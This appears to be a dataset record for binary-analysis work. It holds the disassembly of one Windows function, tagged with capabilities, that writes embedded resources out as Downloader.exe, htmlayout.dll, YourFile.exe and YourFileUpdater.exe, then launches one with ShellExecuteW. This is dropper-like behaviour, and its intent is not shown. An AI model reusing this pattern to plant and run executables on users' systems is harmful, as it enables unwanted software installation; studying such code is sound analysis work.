Function at 0x401f96
Capabilities:
Check os version
Copy file
Create directory
Create process on windows
Delete file

Disassembly:
push 0x84c
mov eax, 0x4174b1
call fcn.004165a7
mov esi, ecx
mov dword [ebp - 0x844], esi
call fcn.0040337f
lea edi, [esi + 0x2bb2]
mov ecx, edi
call fcn.00401260
test al, al
je 0x402255
xor ebx, ebx
push ebx
add esi, 0x2dba
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401fec
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402255
mov esi, 0x208
push esi
lea eax, [ebp - 0x83c]
push ebx
push eax
mov dword [ebp - 0x840], str.DOWNLOADER
call fcn.0040c2f0
add esp, 0xc
push esi
lea eax, [ebp - 0x630]
push ebx
push eax
mov dword [ebp - 0x634], str.HTMLAYOUT
call fcn.0040c2f0
add esp, 0xc
push esi
lea eax, [ebp - 0x424]
push ebx
push eax
mov dword [ebp - 0x428], str.YOURFILE
call fcn.0040c2f0
add esp, 0xc
push esi
lea eax, [ebp - 0x218]
push ebx
push eax
mov dword [ebp - 0x21c], str.UPDATER
call fcn.0040c2f0
add esp, 0xc
push str.Downloader.exe
push edi
mov edi, 0x41d8c8
push edi
mov esi, 0x103
lea eax, [ebp - 0x83c]
push esi
push eax
call fcn.0040846d
mov eax, dword [ebp - 0x844]
add esp, 0x14
push str.htmlayout.dll
add eax, 0x2bb2
push eax
push edi
lea eax, [ebp - 0x630]
push esi
push eax
call fcn.0040846d
mov eax, dword [ebp - 0x844]
add esp, 0x14
push str.YourFile.exe
add eax, 0x2bb2
push eax
push edi
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.0040846d
mov eax, dword [ebp - 0x844]
add esp, 0x14
push str.YourFileUpdater.exe
add eax, 0x2bb2
push eax
push edi
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.0040846d
add esp, 0x14
xor edi, edi
lea esi, [ebp - 0x83c]
mov eax, dword [esi - 4]
push str.DATA
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebx
je 0x40210b
push eax
push esi
call fcn.00401585
pop ecx
pop ecx
jmp 0x40210d
xor al, al
cmp al, bl
je 0x402255
inc edi
add esi, 0x20c
cmp edi, 4
jb 0x4020ec
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
sete al
mov byte [ebp - 0x858], al
lea eax, [ebp - 0x218]
mov dword [ebp - 0x854], eax
lea eax, [ebp - 0x858]
push eax
call fcn.00405214
mov edi, dword [ebp - 0x844]
lea esi, [edi + 0x31ca]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push esi
lea eax, [edi + 0x29aa]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x402255
mov dword [ebp - 0x850], ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x848], ebx
lea esi, [ebp - 0x850]
mov dword [ebp - 4], ebx
call fcn.004016bb
test eax, eax
je 0x4021b4
lea eax, [ebp - 0x83c]
push eax
mov eax, esi
call fcn.00401711
lea eax, [ebp - 0x424]
push eax
mov eax, esi
call fcn.00401711
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x848]
cmp eax, ebx
je 0x4021ce
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x848], ebx
mov eax, dword [ebp - 0x84c]
cmp eax, ebx
je 0x4021e4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x84c], ebx
mov eax, dword [ebp - 0x850]
cmp eax, ebx
je 0x4021fa
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x850], ebx
lea eax, [ebp - 0x424]
push eax
mov ecx, edi
call fcn.004022d5
test al, al
je 0x402255
mov ecx, dword [ebp - 0x844]
push ebx
lea edi, [ebp - 0x424]
call fcn.0040225d
test al, al
je 0x402255
mov ecx, dword [ebp - 0x844]
call fcn.004023aa
test al, al
je 0x402255
mov eax, edi
push eax
call fcn.004010f6
pop ecx
test eax, eax
je 0x402251
push 1
push ebx
push ebx
mov eax, edi
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov al, 1
jmp 0x402257
xor al, al
call fcn.004165f1
ret